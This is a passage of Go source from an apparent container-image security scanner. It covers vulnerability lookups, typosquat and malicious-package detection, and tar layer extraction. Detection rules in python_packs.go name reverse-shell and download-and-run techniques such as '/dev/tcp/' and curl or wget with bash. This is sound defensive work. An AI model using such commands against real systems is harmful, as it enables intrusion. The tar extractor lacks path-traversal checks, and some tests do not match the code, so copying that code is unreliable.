npmVuln = append(npmVuln, vs...)
}
if sus := match.NpmMatch(npm.Name); sus.Types != 0 {
vuln := &vulnComponent{
Name: fmt.Sprintf("%s - %s", node.Version, npm.Name),
Level: "medium",
Score: 7.5,
Type: "Node",
CurrentVersion: npm.Version,
VulnerableVersion: "-",
}
switch sus.Types {
case 1:
vuln.Desc = fmt.Sprintf("Suspicious malicious package, "+
"compared name: %s", sus.OriginPack)
case 2:
vuln.Desc = fmt.Sprintf("Detect the node malware,"+
"origin package name is: %s", sus.OriginPack)
default:
// ignore
}
npmVuln = append(npmVuln, vuln)
}
}
}
ps.Vulns = append(ps.Vulns, npmVuln...)
return nil
}
func (ps *Scanner) checkGoMod(ctx context.Context, gobins []*packages.GOBIN) error {
goVuln := []*vulnComponent{}
for _, gobin := range gobins {
for _, mod := range gobin.Deps {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(mod.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, mod.Version, "Go", []string{"*"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s (%s) - %s", gobin.Name, gobin.Path, mod.Path)
}
sortSeverity(vs)
goVuln = append(goVuln, vs...)
}
}
}
ps.Vulns = append(ps.Vulns, goVuln...)
return nil
}
func (ps *Scanner) checkJavaPacks(ctx context.Context, javas []*packages.JAVA) error {
javaVuln := []*vulnComponent{}
for _, java := range javas {
for _, jar := range java.Jars {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(jar.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, jar.Version, "Java", []string{"*"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s (%s) - %s", java.Name, java.Path, jar.Name)
}
sortSeverity(vs)
javaVuln = append(javaVuln, vs...)
}
}
}
ps.Vulns = append(ps.Vulns, javaVuln...)
return nil
}
func (ps *Scanner) checkPHPPacks(ctx context.Context, phps []*packages.PHP) error {
phpVuln := []*vulnComponent{}
for _, php := range phps {
for _, pack := range php.Packs {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, pack.Version, "PHP", []string{"*"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s (%s) - %s", php.Name, php.Path, pack.Name)
}
sortSeverity(vs)
phpVuln = append(phpVuln, vs...)
}
}
}
ps.Vulns = append(ps.Vulns, phpVuln...)
return nil
}
func (ps *Scanner) checkRustPacks(ctx context.Context, rusts []*packages.Rust) error {
rustVuln := []*vulnComponent{}
for _, cargo := range rusts {
for _, pack := range cargo.Deps {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, pack.Version, "Rust", []string{"*", "rust"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s (%s) - %s", cargo.Name, cargo.Path, pack.Name)
}
sortSeverity(vs)
rustVuln = append(rustVuln, vs...)
}
}
}
ps.Vulns = append(ps.Vulns, rustVuln...)
return nil
}
func (ps *Scanner) checkPackageVersion(ctx context.Context, packs []*packages.Package, os string) error {
packVuln := []*vulnComponent{}
os = strings.ToLower(os)
if os == "centos" || os == "rhel" {
for _, p := range packs {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name))
if err != nil {
continue
}
if vs, vuln := compareRpmVersion(rows, p.Version, "System", []string{"*"}); vuln {
for _, v := range vs {
v.Name = p.Name
}
sortSeverity(vs)
packVuln = append(packVuln, vs...)
}
}
ps.Vulns = append(ps.Vulns, packVuln...)
return nil
}
for _, p := range packs {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, p.Version, "System", []string{"*"}); vuln {
for _, v := range vs {
v.Name = p.Name
}
sortSeverity(vs)
packVuln = append(packVuln, vs...)
}
}
ps.Vulns = append(ps.Vulns, packVuln...)
return nil
}
// getOthers into the database of the vulnerabilities
func (ps *Scanner) getOthers(ctx context.Context, others []*packages.Other) error {
othersVuln := []*vulnComponent{}
for _, oth := range others {
othVuln := &vulnComponent{
Name: oth.Name,
CurrentVersion: "-",
VulnerableVersion: "-",
Type: "Others",
CVEID: oth.Title,
Level: oth.Level,
Score: oth.Score,
Desc: oth.Desc,
}
othersVuln = append(othersVuln, othVuln)
}
sortSeverity(othersVuln)
ps.Vulns = append(ps.Vulns, othersVuln...)
return nil
}
// checkPassword check other user belongs to root in /etc/passwd
func (ps *Scanner) checkPassword(ctx context.Context, m *layer.Manifest) error {
passVuln := []*vulnComponent{}
passFile := filepath.Join(m.Localpath, "etc/passwd")
f, err := os.Open(passFile)
if err != nil {
return err
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
pass := strings.Split(scanner.Text(), ":")
if pass[2] != "0" && pass[3] == "0" && !strings.HasSuffix(pass[6], "/sbin/nologin") {
vulnAccount := &vulnComponent{
Name: "Account of /etc/passwd",
CurrentVersion: "-",
VulnerableVersion: "-",
Type: "Others",
CVEID: fmt.Sprintf("Suspicious Account: '%s'", pass[0]),
Level: "medium",
Score: 6.5,
Desc: fmt.Sprintf("Account '%s' in /etc/passwd is not root "+
"but in the group of root. Account line: '%s'", pass[0],
strings.Join(pass[0:5], ":")+" "+strings.Join(pass[5:7], ":")),
}
passVuln = append(passVuln, vulnAccount)
}
}
ps.Vulns = append(ps.Vulns, passVuln...)
return nil
}
================================================
FILE: pkg/extractor.go
================================================
package pkg
import (
"archive/tar"
"errors"
"io"
"log"
"os"
"path/filepath"
"regexp"
"strings"
)
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
// Walk ignore the file which is vert large
func Walk(tarReader *tar.Reader, path string) error {
for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {
if err != nil {
return err
}
extractFile := filepath.Join(path, hdr.Name)
// ignore the file larger than 1GB
if hdr.Size > 1073741824 {
continue
}
switch hdr.Typeflag {
case tar.TypeDir:
if !exists(extractFile) {
if err := os.MkdirAll(extractFile, 0775); err != nil {
return err
}
}
case tar.TypeReg:
file, err := os.OpenFile(extractFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
continue
}
_, err = io.Copy(file, tarReader)
if err != nil {
log.Printf("file %s cannot extract: %v", hdr.Name, err)
}
case tar.TypeSymlink:
linkName := filepath.Join(path, hdr.Linkname)
err = os.Symlink(linkName, extractFile)
if err != nil {
continue
}
default:
// ignore
}
}
return nil
}
// AnalyzeTarLayer get manifest.json and layer.tar from tar file
func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, string, error) {
var manifest, histories string
imageIdReg := regexp.MustCompile(`^[0-9a-fA-F]{64}\.json$`)
for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {
if err != nil {
return manifest, histories, err
}
if hdr.Name == "manifest.json" {
b, err := io.ReadAll(tarReader)
manifest = string(b)
if err != nil {
return manifest, histories, err
}
} else if imageIdReg.MatchString(hdr.Name) {
// Get the image histories
b, err := io.ReadAll(tarReader)
histories = string(b)
if err != nil {
return manifest, histories, err
}
} else if filepath.Base(hdr.Name) == "layer.tar" {
layerFile := filepath.Join(tempPath, filepath.Dir(hdr.Name)+".tar")
file, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
continue
}
_, err = io.Copy(file, tarReader)
if err != nil {
log.Printf("file %s cannot extract: %v", hdr.Name, err)
}
} else if strings.HasPrefix(hdr.Name, "blobs/sha256/") && len(hdr.Name) > 15 {
// Adapt for the new docker image format after Docker Version 25.0.0
layerFile := filepath.Join(tempPath, filepath.Base(hdr.Name)[:64]+".tar")
file, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
continue
}
_, err = io.Copy(file, tarReader)
if err != nil {
log.Printf("file %s cannot extract: %v", hdr.Name, err)
}
}
}
if manifest == "" {
err := errors.New("manifest not found")
return manifest, histories, err
}
return manifest, histories, nil
}
================================================
FILE: pkg/inspector/client.go
================================================
package inspector
import (
"context"
"github.com/docker/docker/client"
)
var (
ctx = context.Background()
)
type DockerApi struct {
DCli *client.Client
}
================================================
FILE: pkg/inspector/container.go
================================================
package inspector
import (
"context"
"io"
"log"
"strings"
"github.com/docker/docker/api/types"
"github.com/kvesta/vesta/config"
)
func (da *DockerApi) GetContainerName(containerID string) ([]io.ReadCloser, error) {
var whiteList = []string{"/", "/etc", "/proc",
"/sys", "/usr", "/lib", "/lib64"}
var containerIo []io.ReadCloser
isWhite := func(path string) bool {
for _, whitePath := range whiteList {
if path == whitePath {
return true
}
}
return false
}
log.Printf(config.Green("Searching for container"))
fileio, err := da.DCli.ContainerExport(ctx, containerID)
if err != nil {
return nil, err
}
containerIo = append(containerIo, fileio)
// Get mount path, reference: https://docs.docker.com/engine/reference/commandline/export/#description
ins, err := da.DCli.ContainerInspect(ctx, containerID)
if err == nil {
var mnts []types.MountPoint
if ins.Mounts != nil {
mnts = ins.Mounts
}
for _, mnt := range mnts {
if isWhite(mnt.Source) {
continue
}
cp, stats, err := da.DCli.CopyFromContainer(ctx, containerID, mnt.Destination)
// Skip the large file
if err != nil || stats.Size > 1073741824 {
continue
}
containerIo = append(containerIo, cp)
}
}
return containerIo, err
}
func (da *DockerApi) GetAllContainers() ([]*types.ContainerJSON, error) {
inps := []*types.ContainerJSON{}
containers, err := da.DCli.ContainerList(ctx, types.ContainerListOptions{})
if err != nil {
return inps, err
}
for _, c := range containers {
// pass the kubernetes pod for kubernetes version < 1.24
if strings.Contains(c.Names[0], "k8s") {
continue
}
ins, err := da.DCli.ContainerInspect(ctx, c.ID[:12])
if err != nil {
log.Printf("%s cannot inpsect, error: %v", c.Names, err)
}
inps = append(inps, &ins)
}
return inps, nil
}
func (da *DockerApi) GetEngineVersion(ctx context.Context) (string, error) {
log.Printf("Getting engine version")
var version string
server, err := da.DCli.ServerVersion(ctx)
if err != nil {
return version, err
}
for _, s := range server.Components {
if s.Name == "containerd" {
version = s.Version
break
}
}
return version, err
}
func (da *DockerApi) GetDockerServerVersion(ctx context.Context) (string, error) {
log.Printf("Getting docker server version")
var version string
server, err := da.DCli.ServerVersion(ctx)
if err != nil {
return version, err
}
version = server.Version
return version, nil
}
func (da *DockerApi) FindDockerService(name string) bool {
sws, err := da.DCli.ServiceList(context.Background(), types.ServiceListOptions{})
if err != nil {
return false
}
for _, swarm := range sws {
if strings.HasPrefix(name, swarm.Spec.Name) {
return true
}
}
return false
}
================================================
FILE: pkg/inspector/image.go
================================================
package inspector
import (
"io"
"log"
"regexp"
"strings"
"github.com/docker/docker/api/types"
imagev1 "github.com/docker/docker/api/types/image"
"github.com/kvesta/vesta/config"
)
func (da *DockerApi) GetImageName(imageID string) ([]io.ReadCloser, error) {
var imageList []string
images, err := da.DCli.ImageList(ctx, types.ImageListOptions{})
if err != nil {
return nil, err
}
filter := regexp.MustCompile(`^[a-f0-9]{12}$`)
if filter.MatchString(imageID) {
for _, image := range images {
if len(image.RepoTags) < 1 {
continue
}
sha := strings.Split(image.ID, ":")[1]
if imageID == sha[:12] {
imageList = append(imageList, image.RepoTags[0])
}
}
} else {
imageList = append(imageList, imageID)
}
log.Printf(config.Green("Searching for image"))
fileio, err := da.DCli.ImageSave(ctx, imageList)
if err != nil {
return nil, err
}
return []io.ReadCloser{fileio}, nil
}
type ImageInfo struct {
Summary types.ImageSummary
History []imagev1.HistoryResponseItem
}
func (da *DockerApi) GetAllImage() ([]*ImageInfo, error) {
images := []*ImageInfo{}
ims, err := da.DCli.ImageList(ctx, types.ImageListOptions{})
for _, im := range ims {
his, err := da.DCli.ImageHistory(ctx, im.ID)
if err != nil {
continue
}
image := &ImageInfo{
Summary: im,
History: his,
}
images = append(images, image)
}
if err != nil {
return images, err
}
return images, nil
}
================================================
FILE: pkg/inspector/utils.go
================================================
package inspector
import (
"context"
"io"
"log"
"github.com/docker/docker/client"
)
func GetTarFromID(ctx context.Context, ID string) ([]io.ReadCloser, error) {
var err error
// Use the inspector id from containerd or crio
cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
if err != nil {
log.Printf("init docker environment failed: %v", err)
return nil, err
}
c := DockerApi{
DCli: cli,
}
defer c.DCli.Close()
var tarFile []io.ReadCloser
if ctx.Value("tarType") == "image" {
tarFile, err = c.GetImageName(ID)
if err != nil {
log.Printf("get image error: %v", err)
}
} else {
tarFile, err = c.GetContainerName(ID)
if err != nil {
log.Printf("expose inspector file error: %v", err)
return nil, err
}
}
return tarFile, nil
}
================================================
FILE: pkg/layer/files.go
================================================
package layer
import (
"bytes"
"io/fs"
"os"
)
func (m *Manifest) File(file string) (*bytes.Buffer, error) {
fsys := os.DirFS(m.Localpath)
buf := []byte{}
if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error {
switch {
case err != nil:
return err
case d.IsDir():
return nil
}
if path == file {
buf, err = fs.ReadFile(fsys, path)
if err != nil {
return err
}
return nil
}
return nil
}); err != nil {
return bytes.NewBuffer(buf), err
}
return bytes.NewBuffer(buf), nil
}
================================================
FILE: pkg/layer/integrator.go
================================================
package layer
import (
"archive/tar"
"context"
"crypto/md5"
"encoding/hex"
"errors"
"os"
"path/filepath"
"strings"
"time"
"github.com/docker/docker/api/types"
"github.com/docker/docker/api/types/image"
"github.com/kvesta/vesta/pkg"
_image "github.com/kvesta/vesta/pkg/inspector"
"github.com/tidwall/gjson"
)
func md5Stamp() string {
timeStamp := time.Now().String()
md5h := md5.Sum([]byte(timeStamp))
return hex.EncodeToString(md5h[:])
}
func (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader, tempPath string) error {
manifest, histories, err := pkg.AnalyzeTarLayer(tarReader, tempPath)
if err != nil {
return err
}
m.Hash = md5Stamp()
result := gjson.Parse(manifest).Value()
if result == nil {
err := errors.New("illegal inspector tar file")
return err
}
value := result.([]interface{})[0].(map[string]interface{})
// if not contains name, use tar hash
if value["RepoTags"] == nil {
m.Name = value["Config"].(string)[:64]
} else {
m.Name = value["RepoTags"].([]interface{})[0].(string)
}
layers := value["Layers"].([]interface{})
for _, layer := range layers {
// Adapter for the new docker image format after Docker Version 25.0.0
layer = strings.Replace(layer.(string), "blobs/sha256/", "", 1)
m.Layers = append(m.Layers, &Layer{
Hash: layer.(string)[:64],
Annotation: "",
})
}
// Re-read the history from the manifest.json for the new docker image format
if strings.HasPrefix(value["Config"].(string), "blobs/sha256/") {
b, err := os.ReadFile(filepath.Join(tempPath, filepath.Base(value["Config"].(string))+".tar"))
histories = string(b)
if err != nil {
return err
}
}
historyParse := gjson.Get(histories, "history").Value()
m.Histories = []*_image.ImageInfo{
{
Summary: types.ImageSummary{
ID: value["Config"].(string)[:64],
RepoTags: []string{m.Name},
},
History: []image.HistoryResponseItem{},
},
}
for _, history := range historyParse.([]interface{}) {
mapHistory := history.(map[string]interface{})
pd, _ := time.Parse(time.RFC3339, mapHistory["created"].(string))
h := image.HistoryResponseItem{
Created: pd.Unix(),
CreatedBy: mapHistory["created_by"].(string),
}
if mapHistory["comment"] != nil {
h.Comment = mapHistory["comment"].(string)
}
m.Histories[0].History = append(m.Histories[0].History, h)
}
return nil
}
================================================
FILE: pkg/layer/layer.go
================================================
package layer
import (
"archive/tar"
"fmt"
"os"
"path/filepath"
"github.com/kvesta/vesta/pkg"
)
type Layer struct {
Hash string `json:"hash"`
Annotation string `json:"path"`
}
func (l *Layer) Integration(dir, layerHash string) error {
layerFile := filepath.Join(dir, layerHash+".tar")
layer, err := os.Open(layerFile)
if err != nil {
return err
}
defer func() {
layer.Close()
os.Remove(layerFile)
}()
layerReader := tar.NewReader(layer)
err = pkg.Walk(layerReader, dir)
if err != nil {
return fmt.Errorf("extract err: %v", err)
}
return nil
}
================================================
FILE: pkg/layer/manifest.go
================================================
package layer
import (
_image "github.com/kvesta/vesta/pkg/inspector"
)
type Manifest struct {
Name string `json:"name"`
Hash string `json:"hash"`
Layers []*Layer `json:"layers"`
Histories []*_image.ImageInfo `json:"histories"`
Localpath string `json:"localpath"`
}
================================================
FILE: pkg/match/match_test.go
================================================
package match
import (
"reflect"
"testing"
)
func TestPythonMatch(t *testing.T) {
type args struct {
s string
}
tests := []struct {
name string
args args
want Suspicion
wantErr bool
}{
{
name: "normal",
args: args{s: "django"},
want: Suspicion{
Types: Unknown,
OriginPack: "",
},
},
{
name: "noramlConfusion",
args: args{s: "fastapi"},
want: Suspicion{
Types: Unknown,
OriginPack: "",
},
},
{
name: "confusion",
args: args{s: "selenuim"},
want: Suspicion{
Types: Confusion,
OriginPack: "selenium",
},
},
{
name: "confusion2",
args: args{s: "pilow"},
want: Suspicion{
Types: Confusion,
OriginPack: "pillow",
},
},
{
name: "malware",
args: args{s: "smb"},
want: Suspicion{
Types: Malware,
OriginPack: "pysmb",
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := PyMatch(tt.args.s)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("PyMatch() got = %v, want %v", got, tt.want)
}
})
}
}
func TestPythonNormalPackages(t *testing.T) {
type args struct {
s string
}
type TestPy struct {
name string
args args
want Suspicion
wantErr bool
}
var tests []TestPy
for _, p := range pypis {
tests = append(tests, struct {
name string
args args
want Suspicion
wantErr bool
}{name: p, args: args{s: p}, want: Suspicion{
Types: Unknown,
OriginPack: "",
}})
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := PyMatch(tt.args.s)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("PyMatch() got = %v, want %v", got, tt.want)
}
})
}
}
func TestNodeMatch(t *testing.T) {
type args struct {
s string
}
tests := []struct {
name string
args args
want Suspicion
wantErr bool
}{
{
name: "confusion",
args: args{s: "ladash"},
want: Suspicion{
Types: Confusion,
OriginPack: "lodash",
},
},
{
name: "confusion2",
args: args{s: "socketio"},
want: Suspicion{
Types: Confusion,
OriginPack: "socket.io",
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := NpmMatch(tt.args.s)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("NpmMatch() got = %v, want %v", got, tt.want)
}
})
}
}
func TestNpmNormalPackages(t *testing.T) {
type args struct {
s string
}
type TestNpm struct {
name string
args args
want Suspicion
wantErr bool
}
var tests []TestNpm
for _, p := range npms {
tests = append(tests, struct {
name string
args args
want Suspicion
wantErr bool
}{name: p, args: args{s: p}, want: Suspicion{
Types: Unknown,
OriginPack: "",
}})
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := PyMatch(tt.args.s)
if !reflect.DeepEqual(got, tt.want) {
t.Errorf("NpmMatch() got = %v, want %v", got, tt.want)
}
})
}
}
================================================
FILE: pkg/match/node_packs.go
================================================
package match
import "strings"
var (
npms = []string{"pug", "axios", "typescript", "mongodb", "lodash", "Mongoose", "redux", "osenv",
"jest", "qs", "rxjs", "fs-extra", "ua-parser-js", "koa", "express", "d3", "express", "http-proxy",
"Fastify", "socket.io", "dotenv", "async", "mssql", "cross-env", "redis", "nedb", "fusion", "asynckit",
"run-async", "core-js"}
)
func NpmMatch(pack string) Suspicion {
t := Suspicion{
Types: Unknown,
}
// filter the origin packages
for _, npm := range npms {
if pack == strings.ToLower(npm) {
return t
}
}
if p := confusionCheck(pack, npms); p != "" {
t.Types = Confusion
t.OriginPack = p
}
return t
}
================================================
FILE: pkg/match/python_packs.go
================================================
package match
import (
"fmt"
"io/ioutil"
"os"
"regexp"
"strings"
)
var (
pypis = []string{"requests", "Django", "Flask", "datadog", "numpy", "Pillow", "PyYAML", "PySocks",
"Scrapy", "scipy", "scapy", "Twisted", "torch", "torchvision", "pandas", "pastas", "algoliasearch", "tornado",
"pypcap", "semidbm", "signalfx", "cassandra-driver", "ShopifyAPI", "zoomeye", "osc", "PyPtt", "flake8", "opencv-python",
"distributed", "virtualenv", "selenium", "bs4", "beautifulsoup4", "lxml", "pylint", "pywin32", "web3", "pyebpf",
"matplotlib", "pytest", "paramiko", "PySMT", "claripy", "angr", "urllib3", "urllib"}
maliciousPypis = map[string]string{
"smi": "pysmi",
"smb": "pysmb",
"opencv": "opencv-python",
"python-mysql": "PyMySQL",
"python-ftp": "pyftpdlib",
"ascii2text": "art",
"zlibsrc": "zlib",
"browserdiv": "pybrowsers",
"pwn": "pwntools",
"pymocks": "unittest.mock",
"PyProto2": "unknown",
"free-net-vpn": "unknown",
"ebpf": "pyebpf",
"yaml": "PyYAML",
}
pyDoubleQuoteRex = regexp.MustCompile(`"(.*?)"`)
pySingleQuoteRex = regexp.MustCompile(`'(.*?)'`)
)
func PyMatch(pack string) Suspicion {
t := Suspicion{
Types: Unknown,
}
pack = strings.ToLower(pack)
// filter the origin packages
for _, pypi := range pypis {
if pack == strings.ToLower(pypi) {
return t
}
}
if p := malwareCheck(pack); p != "" {
t.Types = Confusion
t.OriginPack = p
return t
}
if p := confusionCheck(pack, pypis); p != "" {
t.Types = Confusion
t.OriginPack = p
}
return t
}
func malwareCheck(pack string) string {
for mal, ori := range maliciousPypis {
if pack == mal {
return ori
}
}
return ""
}
// PyMalwareScan the malicious packages from pip
// reference: https://github.com/DataDog/guarddog
func PyMalwareScan(filename string) Suspicion {
t := Suspicion{
Types: Unknown,
}
f, err := os.Open(filename)
if err != nil {
return t
}
defer f.Close()
data, err := ioutil.ReadAll(f)
if err != nil {
return t
}
d := []string{}
doubleQuotesMatch := pyDoubleQuoteRex.FindAllStringSubmatch(string(data), -1)
singleQuotesMatch := pySingleQuoteRex.FindAllStringSubmatch(string(data), -1)
for _, q := range doubleQuotesMatch {
d = append(d, q[1])
}
for _, q := range singleQuotesMatch {
d = append(d, q[1])
}
if url := pyCheckLink(d); url != "" {
t.Types = Malware
t.OriginPack = fmt.Sprintf("suspcious url '%s' are detected.", url)
return t
}
if command := pyCheckCommand(d, string(data)); command != "" {
t.Types = Malware
t.OriginPack = fmt.Sprintf(`malicious command "%s" are detected.`, command)
return t
}
return t
}
func pyCheckLink(d []string) string {
httpRegex := []*regexp.Regexp{
regexp.MustCompile(`(http[s]?:\/\/bit\.ly.*)$`),
regexp.MustCompile(`(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream))$`),
regexp.MustCompile(`(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream)\/)`),
}
for _, l := range d {
for _, reg := range httpRegex {
httpMatch := reg.FindStringSubmatch(l)
if len(httpMatch) > 0 {
return httpMatch[1]
}
}
}
return ""
}
func pyCheckCommand(d []string, data string) string {
execRegex := []*regexp.Regexp{
regexp.MustCompile(`os.system\((.*)\)`),
regexp.MustCompile(`exec\((.*)\)`),
regexp.MustCompile(`os.popen\((.*)\)`),
regexp.MustCompile(`eval\((.*)\)`),
regexp.MustCompile(`subprocess.Popen\((.*)$,.*\)`),
regexp.MustCompile(`os.execl\((.*)\)`),
regexp.MustCompile(`os.execve\((.*)\)`),
regexp.MustCompile(`os.spawnl\((.*)\)`),
regexp.MustCompile(`globals\(\)['eval']\((.*)\)`),
}
for _, l := range d {
// Plain test checking
if strings.Contains(l, "powershell") || strings.Contains(l, "chmod +x") ||
strings.Contains(l, "/dev/tcp/") ||
(strings.Contains(l, "curl") || strings.Contains(l, "wget") && strings.Contains(l, "bash")) {
return l
}
}
for _, reg := range execRegex {
regMatch := reg.FindStringSubmatch(data)
if len(regMatch) < 2 {
continue
}
if len(regMatch[1]) > 30 {
return regMatch[0]
}
}
return ""
}
================================================
FILE: pkg/match/utils.go
================================================
package match
import (
"strings"
"github.com/sergi/go-diff/diffmatchpatch"
)
type Suspicion struct {
Types Operation
OriginPack string
}
type Operation int8
const (
// Unknown item represents package is not detected.
Unknown Operation = 0
// Confusion item represents package is suspect a malicious package.
Confusion Operation = 1
// Malware item represents package is discovered as malicious package.
Malware Operation = 2
)
func compare(pack1, pack2 string) float64 {
dmp := diffmatchpatch.New()
diffs := dmp.DiffMain(pack1, pack2, false)
matches := 0
for _, diff := range diffs {
if diff.Type == 0 {
matches += len(diff.Text)
}
}
sums := len(pack1) + len(pack2)
if sums > 0 {
return 2.0 * float64(matches) / float64(sums)
}
return 1.0
}
func confusionCheck(pack string, datas []string) string {
for _, d := range datas {
d = strings.ToLower(d)
ratio := compare(pack, d)
d = strings.ToLower(d)
if ratio < 0.99 && ratio > 0.70 {
return d
}
}
return ""
}
================================================
FILE: pkg/osrelease/analyzer.go
================================================
package osrelease
import (
"context"
"errors"
"io"
"io/ioutil"
"log"
"regexp"
"strings"
"time"
"github.com/kvesta/vesta/pkg/layer"
"github.com/docker/docker/api/types"
"github.com/docker/docker/api/types/container"
"github.com/docker/docker/client"
)
// Reference https://manpages.ubuntu.com/manpages/bionic/zh_TW/man5/os-release.5.html
var paths = []string{"etc/os-release", "etc/centos-release", "etc/photon-release", "usr/lib/os-release"}
func KernelParse(kernel string) KernelVersion {
filter := regexp.MustCompile(`[a-zA-Z]`)
begin := filter.FindStringIndex(kernel)[0]
value := strings.Split(kernel[begin:], " ")
publishDate := strings.Replace(strings.Join(value[len(value)-5:len(value)], " "), "UTC ", "", -1)
publishDate = strings.TrimSpace(publishDate)
pd, _ := time.Parse("Jan 2 15:04:05 2006", publishDate)
k := KernelVersion{
Version: value[2],
BuiltDate: pd,
}
return k
}
// GetKernelVersion get kernel version from host machine
// using `docker run` command so that to adapt to docker-desktop
// kata-container is not taken into account yet
func GetKernelVersion(ctx context.Context) (KernelVersion, error) {
log.Printf("Getting kernel version")
var kernel KernelVersion
cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
if err != nil {
return kernel, err
}
defer cli.Close()
images, err := cli.ImageList(ctx, types.ImageListOptions{})
if err != nil {
if strings.Contains(err.Error(), "Is the docker daemon running?") {
err = errors.New("docker is not running")
return kernel, err
}
return kernel, err
}
var busyboxImage = false
for _, image := range images {
if len(image.RepoTags) < 1 {
continue
}
repotag := image.RepoTags[0]
if strings.Contains(repotag, "busybox:1.34.1") {
busyboxImage = true
}
}
if !busyboxImage {
log.Printf("Pulling busybox:1.34.1 image for kernel checking")
reader, err := cli.ImagePull(ctx, "busybox:1.34.1", types.ImagePullOptions{})
if err != nil {
return kernel, err
}
defer reader.Close()
// Waiting for pulling image
ioutil.ReadAll(reader)
}
resp, err := cli.ContainerCreate(ctx, &container.Config{
Image: "busybox:1.34.1",
Cmd: []string{"cat",
"/proc/version"},
Tty: false,
},
nil, nil, nil, "kernel-checking")
if err != nil {
return kernel, err
}
if err := cli.ContainerStart(ctx, resp.ID, types.ContainerStartOptions{}); err != nil {
return kernel, err
}
defer func() {
removeOptions := types.ContainerRemoveOptions{
RemoveVolumes: true,
Force: true,
}
if err := cli.ContainerRemove(ctx, resp.ID, removeOptions); err != nil {
log.Printf("Unable to remove container %s: %s", resp.ID, err)
}
}()
statusCh, errCh := cli.ContainerWait(ctx, resp.ID, container.WaitConditionNotRunning)
select {
case err = <-errCh:
if err != nil {
return kernel, err
}
case <-statusCh:
}
out, err := cli.ContainerLogs(ctx, resp.ID, types.ContainerLogsOptions{ShowStdout: true})
if err != nil {
return kernel, err
}
res := strings.Builder{}
_, err = io.Copy(&res, out)
if err != nil {
return kernel, err
}
kernel = KernelParse(res.String())
return kernel, nil
}
// DetectOs get os version
func DetectOs(ctx context.Context, m layer.Manifest) (*OsVersion, error) {
osv := &OsVersion{
NAME: "Linux",
OID: "linux",
}
for _, n := range paths {
rd, err := m.File(n)
if err != nil {
log.Printf("detect os error: %v", err)
continue
}
config := rd.String()
if config != "" {
osv, err = getOs(config, n)
if err != nil {
log.Printf("parse os error: %v", err)
}
break
}
}
return osv, nil
}
func parse(config, path string) (map[string]string, error) {
lines := strings.Split(config, "\n")
m := make(map[string]string)
for _, line := range lines {
if len(line) == 0 {
continue
}
versionRegex := regexp.MustCompile(`(\d+\.)?(\d+\.)?(\*|\d+)$`)
switch path {
case "etc/os-release", "usr/lib/os-release":
index := strings.Index(line, "=")
if index > -1 {
values := strings.Split(line, "=")
values[1] = strings.Replace(values[1], `"`, "", -1)
m[values[0]] = values[1]
}
case "etc/centos-release":
m["NAME"] = "CentOS Linux"
m["OID"] = "CentOS"
m["VERSION_ID"] = versionRegex.FindString(line)
case "etc/photon-release":
index := strings.Index(line, "=")
if index > -1 {
values := strings.Split(line, "=")
m["VERSION"] = values[1]
} else {
m["NAME"] = "VMware Photon OS"
m["OID"] = "Photon"
m["VERSION_ID"] = versionRegex.FindString(line)
}
default:
// ignore
}
}
return m, nil
}
func getOs(config, path string) (*OsVersion, error) {
kv, err := parse(config, path)
if err != nil {
return nil, err
}
os := &OsVersion{
NAME: "Linux",
OID: "linux",
}
for k, v := range kv {
switch k {
case "NAME":
os.NAME = v
case "OID", "ID":
os.OID = v
case "VERSION":
os.VERSION = v
case "VERSION_ID":
os.VERSION_ID = v
}
}
return os, nil
}
================================================
FILE: pkg/osrelease/osversion.go
================================================
package osrelease
import "time"
type OsVersion struct {
NAME string `json:"name"`
OID string `json:"oid"`
VERSION string `json:"version"`
VERSION_ID string `json:"version___id"`
}
type KernelVersion struct {
Version string
BuiltDate time.Time
}
================================================
FILE: pkg/packages/apt.go
================================================
package packages
import (
"context"
"strings"
)
// getAptPacks get apt and dpkg packages
func (s *Packages) getAptPacks(ctx context.Context, dpkg string) error {
packs := strings.Split(dpkg, "\n\n")
for _, pe := range packs {
if len(pe) < 1 {
continue
}
p := &Package{}
